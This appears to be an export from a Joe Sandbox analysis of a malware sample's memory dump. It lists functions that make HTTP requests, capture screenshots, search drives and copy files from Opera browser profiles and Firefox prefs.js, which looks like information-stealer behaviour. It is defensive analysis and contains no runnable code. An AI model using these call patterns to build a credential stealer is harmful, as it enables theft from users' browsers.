Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction ID: ceb82e4e54f3846e9f94eab9f0bc1a81f9160b51cd409ffa36bf36e6f1d1d03f
Opcode Fuzzy Hash: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction Fuzzy Hash: 55027EB19442688BDF21CF64CC817EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB
GET, xrefs: 00406A42
hhA, xrefs: 00406976

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET$hhA
API String ID: 3863758870-1019273260
Opcode ID: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction ID: c1d95bee058df7d0eb72bc71505ae5be25a1286d1fed2c65958a37403167da66
Opcode Fuzzy Hash: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction Fuzzy Hash: A251EA72800218AFDF15EFA1ED498EE7FBAFF08315F145425F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA64,0043AA68,004369EE,004369EB,00417A18,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA6C), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA70), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA74,0043AA78,?,0043AA7C,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FA7: Sleep.KERNEL32(000003E8,?,?), ref: 0041700E

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction ID: 6e187b3dd7c688dd3e2975bf598ceb31540ecf4cce5f896a17779636691c6a6b
Opcode Fuzzy Hash: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction Fuzzy Hash: 1A320E71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB8AFC98F98

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction ID: 497a639e9f9bed764e2b609cea13bbac8422ccb0898e6bf0b5073c566259866f
Opcode Fuzzy Hash: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction Fuzzy Hash: 4F515FB190021C9BCF64DF60CC89AC9B7BDAB48305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction ID: 0260d5c266de210f65568f4b73986d2e2321fdcb1199aff99a3b39d86c03169e
Opcode Fuzzy Hash: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction Fuzzy Hash: F4021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

*%DRIVE_FIXED%*, xrefs: 0041515E
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
%DRIVE_REMOVABLE%, xrefs: 00415215
%DRIVE_FIXED%, xrefs: 00415230

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction ID: ea4f15970c6a5d4b45be7a2176528fb80d3ae30a0f48c86a9c416c7322ab13a3
Opcode Fuzzy Hash: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction Fuzzy Hash: 3C512CB190021CAFDF219FA1CC85BDA7BB9FB05304F1041AAEA49A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction ID: 52904dbdec7a8812f0d6252b7ecd21146621a6019d038770ccdf13318407303e
Opcode Fuzzy Hash: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction Fuzzy Hash: D3A10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
